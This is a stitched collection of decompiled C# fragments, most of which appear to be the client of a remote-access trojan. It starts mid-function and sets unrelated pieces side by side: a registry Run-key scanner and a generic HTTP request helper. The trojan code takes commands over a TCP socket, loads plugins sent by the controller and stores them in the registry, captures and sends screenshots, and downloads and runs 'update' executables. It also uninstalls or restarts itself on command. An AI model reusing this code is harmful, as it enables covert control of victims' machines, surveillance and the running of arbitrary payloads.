DecompressGzip(memoryStream2.ToArray()); SaveValueOnRegistry(array[1], array2, RegistryValueKind.Binary); } Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(0) })); object objectValue = RuntimeHelpers.GetObjectValue(Plugin(array2, "A")); NewLateBinding.LateSet(objectValue, null, "h", new object[] { host }, null, null); NewLateBinding.LateSet(objectValue, null, "p", new object[] { port }, null, null); NewLateBinding.LateSet(objectValue, null, "osk", new object[] { array[2] }, null, null); NewLateBinding.LateCall(objectValue, null, "start", new object[0], null, null, null, true); while (!Conversions.ToBoolean(Operators.OrObject(!isConnected, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, "Off", new object[0], null, null, null), true, false)))) { Thread.Sleep(1); } NewLateBinding.LateSet(objectValue, null, "off", new object[] { true }, null, null); } } else if (Operators.CompareString(left, "ret", false) == 0) { byte[] array3 = (byte[])GetValueFromRegistry(array[1], new byte[0]); if (array[2].Length < 10 & array3.Length == 0) { Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(1) })); } else { if (array[2].Length > 10) { MemoryStream memoryStream3 = new MemoryStream(); int length3 = (array[0] + splitter + array[1] + splitter).Length; memoryStream3.Write(b, length3, b.Length - length3); array3 = DecompressGzip(memoryStream3.ToArray()); SaveValueOnRegistry(array[1], array3, RegistryValueKind.Binary); } Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(0) })); object objectValue2 = RuntimeHelpers.GetObjectValue(Plugin(array3, "A")); string[] array4 = new string[5]; array4[0] = "ret"; array4[1] = splitter; array4[2] = array[1]; array4[3] = splitter; string[] arg_658_0 = array4; int arg_658_1 = 4; string text2 = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, "GT", new object[0], null, null, null)); arg_658_0[arg_658_1] = StringToBase64(ref text2); Send(string.Concat(array4)); } } else if (Operators.CompareString(left, "CAP", false) == 0) { int arg_6A9_0 = Screen.PrimaryScreen.Bounds.Width; Rectangle bounds = Screen.PrimaryScreen.Bounds; Bitmap bitmap = new Bitmap(arg_6A9_0, bounds.Height, PixelFormat.Format16bppRgb555); Graphics graphics = Graphics.FromImage(bitmap); Graphics arg_6DB_0 = graphics; int arg_6DB_1 = 0; int arg_6DB_2 = 0; int arg_6DB_3 = 0; int arg_6DB_4 = 0; Size size = new Size(bitmap.Width, bitmap.Height); arg_6DB_0.CopyFromScreen(arg_6DB_1, arg_6DB_2, arg_6DB_3, arg_6DB_4, size, CopyPixelOperation.SourceCopy); try { Cursor arg_702_0 = Cursors.Default; Graphics arg_702_1 = graphics; Point arg_6FB_1 = Cursor.Position; size = new Size(32, 32); bounds = new Rectangle(arg_6FB_1, size); arg_702_0.Draw(arg_702_1, bounds); } catch (Exception expr_709) { ProjectData.SetProjectError(expr_709); ProjectData.ClearProjectError(); } graphics.Dispose(); Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2])); graphics = Graphics.FromImage(bitmap2); graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height); graphics.Dispose(); MemoryStream memoryStream4 = new MemoryStream(); string text2 = "CAP" + splitter; b = StringToBytes(ref text2); memoryStream4.Write(b, 0, b.Length); MemoryStream memoryStream5 = new MemoryStream(); bitmap2.Save(memoryStream5, ImageFormat.Jpeg); string left3 = CreateHash(memoryStream5.ToArray()); if (Operators.CompareString(left3, lastCapturedImage, false) != 0) { lastCapturedImage = left3; memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length); } else { memoryStream4.WriteByte(0); } Send(memoryStream4.ToArray()); memoryStream4.Dispose(); memoryStream5.Dispose(); bitmap.Dispose(); bitmap2.Dispose(); } else if (Operators.CompareString(left, "un", false) == 0) { string left4 = array[1]; if (Operators.CompareString(left4, "~", false) == 0) { Uninstall(); } else if (Operators.CompareString(left4, "!", false) == 0) { try { stubMutex.Close(); } catch { } Environment.Exit(0); } else if (Operators.CompareString(left4, "@", false) == 0) { Process.Start(currentAssemblyFileInfo.FullName); try { stubMutex.Close(); } catch { } Environment.Exit(0); } } else if (Operators.CompareString(left, "up", false) == 0) { byte[] bytes2 = null; if (array[1][0] == '\u001f') { try { MemoryStream memoryStream6 = new MemoryStream(); int length4 = (array[0] + splitter).Length; memoryStream6.Write(b, length4, b.Length - length4); bytes2 = DecompressGzip(memoryStream6.ToArray()); goto IL_97B; } catch { Send("MSG" + splitter + "Update ERROR"); Send("bla"); return; } } WebClient webClient2 = new WebClient(); try { bytes2 = webClient2.DownloadData(array[1]); } catch { Send("MSG" + splitter + "Update ERROR"); Send("bla"); return; } IL_97B: Send("bla"); string text3 = Path.GetTempFileName() + ".exe"; try { Send("MSG" + splitter + "Updating To " + new FileInfo(text3).Name); Thread.Sleep(2000); File.WriteAllBytes(text3, bytes2); Process.Start(text3, ".."); } catch (Exception ex2) { Send("MSG" + splitter + "Update ERROR " + ex2.Message); return; } Uninstall(); } else if (Operators.CompareString(left, "Ex", false) == 0) { if (currentPlugin == null) { Send("PLG"); int num = 0; while (!(currentPlugin != null | num == 20 | !isConnected)) { num++; Thread.Sleep(1000); } if (currentPlugin == null | !isConnected) { return; } } object arg_ABB_0 = currentPlugin; Type arg_ABB_1 = null; string arg_ABB_2 = "ind"; object[] array5 = new object[] { b }; object[] arg_ABB_3 = array5; string[] arg_ABB_4 = null; Type[] arg_ABB_5 = null; bool[] array6 = new bool[] { true }; NewLateBinding.LateCall(arg_ABB_0, arg_ABB_1, arg_ABB_2, arg_ABB_3, arg_ABB_4, arg_ABB_5, array6, true); if (array6[0]) { b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[])); } } else if (Operators.CompareString(left, "PLG", false) == 0) { MemoryStream memoryStream7 = new MemoryStream(); int length5 = (array[0] + splitter).Length; memoryStream7.Write(b, length5, b.Length - length5); currentPlugin = RuntimeHelpers.GetObjectValue(Plugin(DecompressGzip(memoryStream7.ToArray()), "A")); NewLateBinding.LateSet(currentPlugin, null, "H", new object[] { host }, null, null); NewLateBinding.LateSet(currentPlugin, null, "P", new object[] { port }, null, null); NewLateBinding.LateSet(currentPlugin, null, "c", new object[] { tcpSocket }, null, null); } } } catch (Exception ex3) { if (array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0)) { currentPlugin = null; } try { Send(string.Concat(new string[] { "ER", splitter, array[0], splitter, ex3.Message })); } catch { } ProjectData.ClearProjectError(); } } }
public static void Receive() { checked { while (true) { lastCapturedImage = ""; if (tcpSocket != null) { long num = -1L; int num2 = 0; try { while (true) { IL_1B: num2++; if (num2 == 10) { num2 = 0; Thread.Sleep(1); } if (!isConnected) { break; } if (tcpSocket.Available < 1) { tcpSocket.Client.Poll(-1, SelectMode.SelectRead); } while (tcpSocket.Available != 0) { if (num != -1L) { bytesArray = new byte[tcpSocket.Available + 1]; long num3 = num - memoryStream.Length; if (unchecked ((long)bytesArray.Length) > num3) { bytesArray = new byte[(int)(num3 - 1L) + 1]; } int count = tcpSocket.Client.Receive(bytesArray, 0, bytesArray.Length, SocketFlags.None); memoryStream.Write(bytesArray, 0, count); if (memoryStream.Length == num) { num = -1L; Thread thread = new Thread(delegate(object a0) { HandleData((byte[])a0); }, 1); thread.Start(memoryStream.ToArray()); thread.Join(100); memoryStream.Dispose(); memoryStream = new MemoryStream(); } goto IL_1B; } string text = ""; while (true) { int num4 = tcpSocket.GetStream().ReadByte(); if (num4 == -1) { goto Block_9; } if (num4 == 0) { break; } text += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(num4).ToString())); } num = Conversions.ToLong(text); if (num == 0L) { Send(""); num = -1L; } if (tcpSocket.Available <= 0) { goto IL_1B; } } break; } Block_9 :; } catch { } } do { try { if (currentPlugin != null) { NewLateBinding.LateCall(currentPlugin, null, "clear", new object[0], null, null, null, true); currentPlugin = null; } } catch { } isConnected = false; }while (!Connect()); isConnected = true; } } }
// Token: 0x06000894 RID: 2196 RVA: 0x000436C0 File Offset: 0x000418C0 public void detect() { this.subkeyNames = Registry.CurrentUser.OpenSubKey(this.keyName).GetSubKeyNames(); this.valueNames = Registry.CurrentUser.OpenSubKey(this.keyName).GetValueNames(); this.ChProgressbar1.Value = 0; this.Lv1.Items.Clear(); this.ChProgressbar1.Maximum = this.valueNames.Length; string[] array = this.valueNames; checked { for (int i = 0; i < array.Length; i++) { string text = array[i]; CHProgressbar chProgressbar = this.ChProgressbar1; chProgressbar.Value++; ListViewItem listViewItem = new ListViewItem(); new ListViewItem(); int num = Strings.InStr(Conversions.ToString(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)), "..", CompareMethod.Binary); if (num != 0) { object objectValue = RuntimeHelpers.GetObjectValue(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { "\"", "" }, null, null, null)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { " ", "" }, null, null, null)); objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[] { "..", "" }, null, null, null)); FileInfo fileInfo = new FileInfo(Conversions.ToString(objectValue)); if (File.Exists(fileInfo.FullName)) { listViewItem.Text = fileInfo.Name; } else { listViewItem.Text = "Not found"; } if (File.Exists(this.startup + "\\" + text + ".exe")) { listViewItem.SubItems.Add(text + ".exe"); } else { listViewItem.SubItems.Add("Not found"); } object arg_23A_0 = listViewItem.SubItems; Type arg_23A_1 = null; string arg_23A_2 = "Add"; object[] array2 = new object[] { RuntimeHelpers.GetObjectValue(objectValue) }; object[] arg_23A_3 = array2; string[] arg_23A_4 = null; Type[] arg_23A_5 = null; bool[] array3 = new bool[] { true }; NewLateBinding.LateCall(arg_23A_0, arg_23A_1, arg_23A_2, arg_23A_3, arg_23A_4, arg_23A_5, array3, true); if (array3[0]) { objectValue = RuntimeHelpers.GetObjectValue(array2[0]); } listViewItem.SubItems.Add(Registry.CurrentUser.OpenSubKey(this.keyName).ToString() + "\\" + text); listViewItem.SubItems.Add(text); listViewItem.ImageIndex = 0; this.Lv1.Items.Add(listViewItem); } } this.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); ima.F.sl.Text = "Detected : " + Conversions.ToString(this.Lv1.Items.Count); if (this.Lv1.Items.Count == 0) { this.Button1.Text = "Scan.."; } else if (this.Lv1.Items.Count == 1) { this.Button1.Text = "Remove"; } else { this.Button1.Text = "Remove all"; } } }
public string GetHTML(string sUrl, enHTTPMethod oMethod, ref string sPostData, object oCokies, NetworkCredential oCredentials, bool bIsDebugable, ref string sErrDesc, bool randUserAgent = true) { string source = ""; string sProxy = "N/A"; bool flag = true; string sID = ""; checked { string sStatus; long value = 0; try { if (flag) { TimeSpan ts = new TimeSpan(DateAndTime.Now.Ticks); } Uri requestUri = new Uri(sUrl); string cookieText = ""; HttpWebRequest httpWebRequest = (HttpWebRequest)HttpWebRequest.Create(requestUri); httpWebRequest.AllowAutoRedirect = Globals.HTTP_ALLOW_AUTO_REDIRECT; httpWebRequest.Credentials = oCredentials; Proxy g_Proxy = global::Globals.G_Proxy; lock (g_Proxy) { if (global::Globals.G_Proxy.Enable & !this.__DesableProxy) { httpWebRequest.Proxy = global::Globals.G_Proxy.Proxy_; sProxy = Globals.G_Proxy.Proxy_.Address.Host + ":" + Globals.G_Proxy.Proxy_.Address.Port; } } if (randUserAgent) { httpWebRequest.UserAgent = Globals.G_Utilities.getUseragent(); } else { httpWebRequest.UserAgent = Globals.USER_AGENT; } httpWebRequest.Timeout = this.__TimeOut; httpWebRequest.ReadWriteTimeout = this.__TimeOut; httpWebRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; httpWebRequest.AutomaticDecompression = (DecompressionMethods)(-1); httpWebRequest.KeepAlive = true; httpWebRequest.Referer = sUrl; httpWebRequest.CookieContainer = new CookieContainer(); if (oCokies is string) { cookieText = Conversions.ToString(oCokies); } else if (oCokies is CookieCollection && oCokies != null) { object arg_1A8_0 = httpWebRequest.CookieContainer; Type arg_1A8_1 = null; string arg_1A8_2 = "Add"; object[] array = new object[] { RuntimeHelpers.GetObjectValue(oCokies) }; object[] arg_1A8_3 = array; string[] arg_1A8_4 = null; Type[] arg_1A8_5 = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(arg_1A8_0, arg_1A8_1, arg_1A8_2, arg_1A8_3, arg_1A8_4, arg_1A8_5, array2, true); if (array2[0]) { oCokies = RuntimeHelpers.GetObjectValue(array[0]); } } if (!string.IsNullOrEmpty(cookieText)) { string[] array3 = cookieText.Split(new char[] { ';' }); string[] array4 = array3; for (int i = 0; i < array4.Length; i++) { string text3 = array4[i]; try { string[] array5 = text3.Split(new char[] { '=' }); array5[0] = array5[0].Trim(); array5[1] = array5[1].Trim(); if (array5.Length > 2) { int arg_240_0 = 2; int num = array5.Length - 1; for (int j = arg_240_0; j <= num; j++) { string[] array6 = array5; array6[1] = array6[1] + "=" + array5[j]; } } if (array5.Length >= 2 && (array5[0].Trim().Length > 0 & array5[1].Trim().Length > 0)) { httpWebRequest.CookieContainer.Add(new Uri(sUrl), new Cookie(array5[0], array5[1])); } } catch (Exception expr_2B8) { ProjectData.SetProjectError(expr_2B8); ProjectData.ClearProjectError(); } } } if (oMethod == enHTTPMethod.GET) { httpWebRequest.ContentType = "text/html; charset=utf-8"; httpWebRequest.Method = global::HttpRequest.HttpMethod.Get.ToString(); } else { if (Globals.HTTP_ENCONDING_HEADERS) { sPostData = Globals.G_Utilities.EncodeURL(sPostData); } httpWebRequest.ContentType = "application/x-www-form-urlencoded"; httpWebRequest.Method = global::HttpRequest.HttpMethod.Post.ToString(); httpWebRequest.ContentLength = unchecked ((long)sPostData.Length); httpWebRequest.KeepAlive = false; using (Stream requestStream = httpWebRequest.GetRequestStream()) { byte[] bytes = Encoding.ASCII.GetBytes(sPostData); requestStream.Write(bytes, 0, bytes.Length); requestStream.Close(); } } if (flag) { Console.WriteLine("HTTP ==> " + sProxy); } this.WebRequest = new global::HttpRequest(httpWebRequest); this.WebResponse = this.WebRequest.GetRequest(); if (this.WebResponse != null) { source = this.WebResponse.SourceCode; sStatus = Conversions.ToString((int)this.WebResponse.HTTPResponse.StatusCode) + " - " + this.WebResponse.HTTPResponse.StatusDescription; } else { source = ""; sStatus = "Not Found"; } } catch (Exception expr_425) { ProjectData.SetProjectError(expr_425); Exception ex = expr_425; sErrDesc = ex.Message; sStatus = sErrDesc; ProjectData.ClearProjectError(); } finally { if (flag) { TimeSpan timeSpan = new TimeSpan(DateAndTime.Now.Ticks); TimeSpan timeSpan2 = timeSpan; TimeSpan ts = new TimeSpan(); value = (long)Math.Round(timeSpan2.Subtract(ts).TotalMilliseconds); } } try { if (flag) { // Console.WriteLine(sID + " " + sUrl + " " + global::Globals.G_Utilities.FormatBytes((double)source.Length) + " " + Conversions.ToString(value) + " ms ", sStatus); } global::Globals.TRAFFIC_RECEIVED += unchecked ((long)source.Length); } catch (Exception expr_4EC) { ProjectData.SetProjectError(expr_4EC); ProjectData.ClearProjectError(); } source = HttpUtility.HtmlDecode(source); return(source); } }